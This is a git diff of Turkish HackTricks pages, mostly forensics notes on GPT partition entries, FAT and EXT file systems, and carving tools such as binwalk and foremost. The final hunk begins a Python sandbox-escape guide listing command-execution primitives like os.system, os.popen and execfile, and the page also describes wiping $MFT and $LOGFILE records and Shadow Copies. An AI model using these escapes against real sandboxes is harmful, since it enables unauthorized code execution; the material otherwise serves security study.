| 92 (0x5C)| \* | Geri kalan blok için sıfır olmalıdır (512 bayt bir sektör boyutu için 420 bayt; ancak daha büyük sektör boyutlarıyla daha fazla olabilir) |
**Bölüm girişleri (LBA 233)**
| GUID bölüm girişi formatı | | |
| ------------------------ | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Ofset | Uzunluk | İçerik |
| 0 (0x00) | 16 bayt | [Bölüm türü GUID'si](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (karışık uçlu) |
| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID'i (karışık uçlu) |
| 32 (0x20) | 8 bayt | İlk LBA ([küçük uçlu](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek sayı) |
| 48 (0x30) | 8 bayt | Öznitelik bayrakları (örneğin, 60. bit salt okunur olarak belirtilir) |
| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimleri) |
| Bölüm girişi formatı | | |
| ------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Ofset | Uzunluk | İçerik |
| 0 (0x00) | 16 bayt | [Bölüm türü GUID'si](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (karışık endian) |
| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID'si (karışık endian) |
| 32 (0x20) | 8 bayt | İlk LBA ([küçük endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek sayı) |
| 48 (0x30) | 8 bayt | Öznitelik bayrakları (örneğin, 60. bit salt okunur olarak işaretlenir) |
| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimi) |
**Bölüm Tipleri**
**Bölüm Türleri**
![](<../../../.gitbook/assets/image (492).png>)
Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) adresine bakın.
Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### İnceleme
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli bilişim imajını bağladıktan sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde, **MBR**'nin **0. sektörde** tespit edildiği ve yorumlandığı görülmektedir:
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile dijital delil imajını bağladıktan sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde **MBR**'nin **sektör 0**'da tespit edildiği ve yorumlandığı görülmektedir:
![](<../../../.gitbook/assets/image (494).png>)
Eğer bir **MBR yerine GPT tablosu** olsaydı, **1. sektörde** _EFI PART_ imzasının görünmesi gerekmektedir (önceki görüntüde boş olan yer).
Eğer bir **MBR yerine bir GPT tablosu** olsaydı, **sektör 1**'de _EFI PART_ imzasının görünmesi gerekmektedir (ki önceki görüntüde boş görünüyor).
## Dosya Sistemleri
### Windows dosya sistemleri listesi
@ -162,62 +160,62 @@ Eğer bir **MBR yerine GPT tablosu** olsaydı, **1. sektörde** _EFI PART_ imzas
### FAT
**FAT (Dosya Tahsis Tablosu)** dosya sistemi, temel bileşeni olan dosya tahsis tablosu etrafında tasarlanmıştır ve birimlerin başında yer alır. Bu sistem, veri bütünlüğünü korumak için tablonun **iki kopyasını** tutarak verileri korur. Tablo, kök klasörle birlikte, sistem başlatma süreci için **sabit bir konumda** olmalıdır.
**FAT (Dosya Tahsis Tablosu)** dosya sistemi, çekirdek bileşeni olan dosya tahsis tablosu etrafında tasarlanmıştır ve genellikle birim başlangıcında konumlandırılır. Bu sistem, verileri koruyarak tablonun **iki kopyasını** tutarak, biri bozulsa bile veri bütünlüğünü sağlar. Tablo, kök klasörle birlikte, sistemin başlatma işlemi için **sabit bir konumda** olmalıdır.
Dosya sisteminin temel depolama birimi, genellikle birden çok sektörden oluşan bir **küme** olan 512B'dir. FAT, sürümler aracılığıyla evrim geçirmiştir:
Dosya sisteminin temel depolama birimi **genellikle 512B olan bir küme**dir ve birden fazla sektörü içerir. FAT, şu sürümler aracılığıyla evrim geçirmiştir:
- **FAT12**, 12 bitlik küme adreslerini destekler ve 4078 küme (UNIX ile birlikte 4084) işler.
- **FAT16**, 16 bitlik adreslere geçerek, 65.517 küme kadar yer sağlar.
- **FAT32**, 32 bitlik adreslerle daha da ilerleyerek, bir birimde etkileyici 268.435.456 küme kullanımına izin verir.
* **FAT12**, 12 bitlik küme adreslerini destekleyerek UNIX ile birlikte 4078 küme (4084) işleyebilir.
* **FAT16**, 16 bitlik adreslere yükselerek, 65,517 kümeye kadar yer açar.
* **FAT32**, 32 bitlik adreslerle daha da ileri giderek, hacim başına etkileyici 268,435,456 küme sağlar.
FAT sürümleri arasındaki önemli bir kısıtlama, dosya boyutu depolaması için kullanılan 32 bitlik alan tarafından uygulanan **4GB maksimum dosya boyutudur**.
FAT sürümleri arasındaki önemli bir kısıtlama, dosya boyutu depolama için kullanılan 32 bitlik alan tarafından **belirlenen 4GB maksimum dosya boyutudur**.
Özellikle FAT12 ve FAT16 için kök dizininin temel bileşenleri şunlardır:
Özellikle FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır:
- **Dosya/Klasör Adı** (en fazla 8 karakter)
- **Öznitelikler**
- **Oluşturma, Değiştirme ve Son Erişim Tarihleri**
- **FAT Tablosu Adresi** (dosyanın başlangıç kümesini belirtir)
- **Dosya Boyutu**
* **Dosya/Klasör Adı** (en fazla 8 karakter)
* **Öznitelikler**
* **Oluşturma, Değiştirme ve Son Erişim Tarihleri**
* **FAT Tablo Adresi** (dosyanın başlangıç kümesini belirten)
* **Dosya Boyutu**
### EXT
**Ext2**, önyükleme bölümü gibi **günlük tutmayan** bölümler için en yaygın dosya sistemidir. **Ext3/4** ise **günlük tutan** ve genellikle **diğer bölümler** için kullanılır.
**Ext2**, **gazetecilik yapmayan** bölümler için en yaygın dosya sistemidir (**pek fazla değişmeyen bölümler**) örneğin önyükleme bölümü. **Ext3/4** ise **gazetecilik yapan** ve genellikle **geri kalan bölümler** için kullanılır.
## **Meta Veri**
Bazı dosyalar meta veri içerir. Bu bilgiler, dosyanın içeriği hakkında analist için ilginç olabilecek bilgilerdir çünkü dosya türüne bağlı olarak başlık, kullanılan MS Office sürümü, yazar, oluşturma ve son değiştirme tarihleri, kamera modeli, GPS koordinatları, görüntü bilgileri gibi bilgiler içerebilir.
Bazı dosyalar meta veri içerir. Bu bilgi, dosyanın içeriği hakkında analist için ilginç olabilecek bilgiler içerir çünkü dosya türüne bağlı olarak başlık, MS Office kullanılan sürüm, yazar, oluşturma ve son değiştirme tarihleri, kamera modeli, GPS koordinatları, görüntü bilgileri gibi bilgiler içerebilir.
Dosyanın meta verilerini almak için [**exiftool**](https://exiftool.org) ve [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gibi araçları kullanabilirsiniz.
Dosyanın meta verisini almak için [**exiftool**](https://exiftool.org) ve [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gibi araçları kullanabilirsiniz.
## **Silinmiş Dosyaların Kurtarılması**
### Kaydedilen Silinmiş Dosyalar
Daha önce görüldüğü gibi, bir dosya "silindiğinde" hala kaydedildiği birkaç yer vardır. Bu genellikle bir dosyanın bir dosya sisteminden silinmesiyle ilgili kayıtların sadece silindiğini, ancak verilerin dokunulmadığını gösterir. Ardından, dosyaların kayıtlarını (örneğin MFT) incelemek ve silinmiş dosyaları bulmak mümkündür.
Daha önce görüldüğü gibi, bir dosya "silindiğinde" genellikle dosya sisteminde hala saklanan birkaç yer vardır. Bu genellikle bir dosyanın dosya sistemi üzerinden silinmesi sadece silindi olarak işaretlenir ancak veriye dokunulmaz. Sonra, dosyaların kayıtlarını incelemek ve silinmiş dosyaları bulmak mümkündür.
Ayrıca, işletim sistemi genellikle dosya sistemine yapılan değişiklikler ve yedeklemeler hakkında birçok bilgi kaydeder, bu nedenle dosyayı veya mümkün olduğunca çok bilgiyi kurtarmak için bunları kullanmaya çalışmak mümkündür.
Ayrıca, işletim sistemi genellikle dosya sistemi değişiklikleri ve yedeklemeler hakkında birçok bilgi kaydeder, bu nedenle dosyayı kurtarmak veya mümkün olduğunca çok bilgiyi kullanmaya çalışmak mümkündür.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **Dosya Kesme (Carving)**
### **Dosya Oyma**
**Dosya kesme (file carving)**, veri yığını içinde dosyaları bulmaya çalışan bir tekniktir. Bu tür araçların çalışma şekli genellikle 3 ana yoldan oluşur: **Dosya türü başlık ve dipnotlarına dayalı olarak**, dosya türü **yapılarına** dayalı olarak ve **içeriğe** dayalı olarak.
**Dosya oyma**, veri yığını içinde **dosyaları bulmaya çalışan** bir tekniktir. Bu tür araçların çalışma şekli genellikle **dosya türleri başlıklarına ve altbilgilerine**, dosya türlerine **yapılarına** ve içeriğe dayanır.
Bu teknik, **parçalanmış dosyaları kurtarmak için çalışmaz**. Bir dosya **bitişik sektörlerde depolanmıyorsa**, bu teknik onu veya en azından bir kısmını bulamaz.
Bu teknik **parçalanmış dosyaları kurtarmak için çalışmaz**. Bir dosya **ardışık sektörlerde depolanmıyorsa**, bu teknik dosyayı veya en azından bir kısmını bulamaz.
Dosya Kesme için arama yapmak istediğiniz dosya türlerini belirterek birçok araç kullanabilirsiniz.
Arama yapmak istediğiniz dosya türlerini belirten birçok araç bulunmaktadır.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Veri Akışı **K**esme (Carving)
### Veri Akışı **O**yma
Veri Akışı Kesme, Dosya Kesme ile benzerdir, ancak **tamamlanmış dosyalar yerine ilginç parçaların** aranmasını sağlar.\
Örneğin, kaydedilen URL'leri içeren tam bir dosya aramak yerine, bu teknik URL'leri arar.
Veri Akışı Oyma, Dosya Oyma ile benzerdir ancak **tam dosyaları değil, ilginç parçaları arar**.\
Örneğin, kaydedilmiş URL'leri içeren tam bir dosya aramak yerine, bu teknik URL'leri arayacaktır.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -225,27 +223,13 @@ Veri Akışı Kesme, Dosya Kesme ile benzerdir, ancak **tamamlanmış dosyalar y
### Güvenli Silme
ıkçası, dosyaların ve onlarla ilgili kayıtların **"güvenli bir şekilde" silinmesi mümkündür**. Örneğin, bir dosyanın içeriğini birkaç kez gereksiz veriyle üzerine yazmak ve ardından dosya hakkındaki **$MFT** ve **$LOGFILE** kayıtlarını **kaldırmak** ve **Gölge Kopyalarını** silmek mümkündür.\
Bu işlemi gerçekleştirseniz bile, dosyanın varlığının hala kaydedildiği **diğer bölümler olabileceğini** fark edebilirsiniz ve bu, adli bilişim uzmanının görevinin bir parçasıdır.
ıkça, dosyaları ve onlarla ilgili kayıtların bir kısmını **"güvenli bir şekilde" silmenin yolları** vardır. Örneğin, bir dosyanın içeriğini birkaç kez gereksiz veriyle **üzerine yazmak** ve ardından dosya hakkındaki **kayıtları** ve **$MFT** ve **$LOGFILE**'dan **logları kaldırmak** ve **Gölge Kopyaları'nı kaldırmak** mümkündür.\
Bu işlemi gerçekleştirmenize rağmen dosyanın varlığının hala kaydedildiği diğer yerler olabileceğini fark edebilirsiniz ve bu, adli bilişim uzmanının işinin bir parçasıdır.
## Kaynaklar
## Referanslar
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Sertifikalı Dijital Adli Bilişim Windows**
<details>
<summary><strong>AWS hackleme yeteneklerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi paylaşarak PR göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,36 +1,30 @@
# Dosya/Veri Oyma ve Kurtarma Araçları
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek **katkıda bulunun**.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# Parçalama ve Kurtarma Araçları
## Oyma ve Kurtarma Araçları
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
## Autopsy
### Autopsy
Görüntülerden dosyaları çıkarmak için forensikte en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içe alması için Autopsy'yi kullanın ve "gizli" dosyaları bulun. Autopsy, disk görüntüleri ve diğer türdeki görüntüleri desteklemek üzere tasarlanmıştır, ancak basit dosyaları desteklemez.
Görüntülerden dosyaları çıkarmak için forensikte en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içe aktararak "gizli" dosyaları bulun. Autopsy, disk görüntüleri ve diğer türdeki görüntüleri desteklemek üzere oluşturulmuştur, ancak basit dosyaları desteklemez.
## Binwalk <a href="#binwalk" id="binwalk"></a>
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` aracılığıyla kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunur.
**Binwalk**, gömülü içerik bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` aracılığıyla yüklenebilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir.
**Kullanışlı komutlar**:
```bash
@ -39,86 +33,63 @@ binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
### Foremost
Gizli dosyaları bulmak için yaygın bir araç olan **foremost** kullanılabilir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` konumunda bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarmanız yeterlidir. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
Gizli dosyaları bulmak için başka yaygın bir araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
## **Scalpel**
### **Scalpel**
**Scalpel**, dosyanın içine gömülü olan dosyaları bulmak ve çıkarmak için kullanılan başka bir araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) ıklama satırından çıkarmalısınız.
**Scalpel**, başka bir araçtır ve bir dosyanın içine gömülü olan dosyaları bulmak ve çıkarmak için kullanılabilir. Bu durumda, çıkarmak istediğiniz dosya türlerini belirtmek için yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırlarını kaldırmanız gerekecektir.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
### Bulk Extractor
Bu araç, Kali içinde bulunur, ancak burada bulabilirsiniz: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Bu araç Kali içinde gelir ancak burada da bulabilirsiniz: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postalar)** ve daha fazla **dosyayı** çıkarır. Sadece şunu yapmanız yeterlidir:
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri çıkarabilir**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postalar)** ve daha fazla **dosyayı** çıkarabilir. Yapmanız gereken tek şey:
```
bulk_extractor memory.img -o out_folder
```
**Tüm bilgileri** inceleyin (şifreler?), **paketleri** analiz edin ([**Pcaps analizi**](../pcap-inspection/) okuyun), **anormal alanlar** arayın (kötü amaçlı yazılımla ilişkili veya var olmayan alanlar).
### PhotoRec
## PhotoRec
[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk\_Download) bulunan bir araçtır.
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) adresinde bulabilirsiniz.
GUI ve CLI sürümleriyle birlikte gelir. PhotoRec'in arama yapmasını istediğiniz **dosya türlerini** seçebilirsiniz.
GUI ve CLI sürümleriyle gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz.
![](<../../../.gitbook/assets/image (524).png>)
## binvis
### binvis
Kodu [buradan](https://code.google.com/archive/p/binvis/) ve web sayfası aracını [buradan](https://binvis.io/#/) kontrol edin.
Kodu [buradan](https://code.google.com/archive/p/binvis/) ve [web sayfa aracını](https://binvis.io/#/) kontrol edin.
### BinVis'in Özellikleri
#### BinVis'in Özellikleri
* Görsel ve etkin **yapı görüntüleyici**
* Farklı odak noktaları için birden fazla grafik
* Farklı odak noktaları için birden fazla çizim
* Bir örneğin bölümlerine odaklanma
* PE veya ELF yürütülebilirlerindeki dize ve kaynakları görme
* PE veya ELF yürütülebilir dosyalarda **dizileri ve kaynakları** görme
* Dosyalarda kriptoanaliz için **desenler** elde etme
* Paker veya kodlayıcı algoritmalarını **tespit etme**
* Desenlere göre Steganografiyi **tanımlama**
* Paketleyici veya kodlayıcı algoritmaları **tespit etme**
* Desenlere göre **Steganografi** tanımlama
* **Görsel** ikili farklılaştırma
BinVis, bir siyah kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**.
BinVis, siyah kutu senaryosunda **bilinmeyen bir hedefle tanışmak için harika bir başlangıç noktasıdır**.
# Özel Veri Kurtarma Araçları
## Özel Veri Kazıma Araçları
## FindAES
### FindAES
TrueCrypt ve BitLocker tarafından kullanılan 128, 192 ve 256 bit anahtarları bulmak için anahtar programlarını arayarak AES anahtarlarını arar.
AES anahtarlarını arayarak anahtar programlarını arar. TrueCrypt ve BitLocker gibi kullanılan 128, 192 ve 256 bit anahtarları bulabilir.
[Buradan](https://sourceforge.net/projects/findaes/) indirin.
İndirme bağlantısı [burada](https://sourceforge.net/projects/findaes/).
# Tamamlayıcı araçlar
## Tamamlayıcı Araçlar
Görüntüleri terminalden görmek için [**viu**](https://github.com/atanunq/viu) kullanabilirsiniz.\
Bir PDF'i metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext**'i kullanabilirsiniz.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
Resimleri terminalden görmek için [**viu** ](https://github.com/atanunq/viu)'yu kullanabilirsiniz.\
Bir pdf'i metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext**'i kullanabilirsiniz.

View file

@ -1,32 +1,24 @@
# Python Kumlama Korumalarını Atlatma
# Python kum havuzlarını atlatma
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Bu, python kum havuzlarını atlatmak ve keyfi komutları yürütmek için bazı hilelerdir.
En önemli olan zafiyetleri bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
## Komut Yürütme Kütüphaneleri
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
Bu, python kumlama korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı hilelerdir.
## Komut Çalıştırma Kütüphaneleri
Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kodu çalıştırıp çalıştıramayacağınızdır veya bu kütüphanelerden herhangi birini içe aktarabileceğinizdir:
Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir misiniz veya bu kütüphanelerden herhangi birini içe aktarabilir misiniz:
```python
os.system("ls")
os.popen("ls").read()
@ -59,22 +51,22 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
_**open**_ ve _**read**_ fonksiyonlarının, python sandbox içindeki dosyaları okumak ve sandbox'ı atlamak için **bazı kodları çalıştırmak** için kullanışlı olabileceğini unutmayın.
Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python kum havuzu içindeki dosyaları okumak ve kum havuzunu atlatmak için **bazı kodlar yazmak** için kullanışlı olabilir.
{% hint style="danger" %}
**Python2 input()** fonksiyonu, program çökmadan önce python kodunu çalıştırmaya izin verir.
**Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmasına izin verir.
{% endhint %}
Python, önce **mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut, python'ın modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdaki komut, python'ın modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
## Varsayılan kurulu python paketleriyle pickle sandbox'ını atlatma
## Pickle kum havuzunu varsayılan yüklü python paketleriyle atlatma
### Varsayılan paketler
Bir **ön kurulu paketlerin listesini** burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan, python ortamının sistemde yüklü olan **herhangi bir kütüphaneyi içe aktarabileceğinizi** unutmayın.\
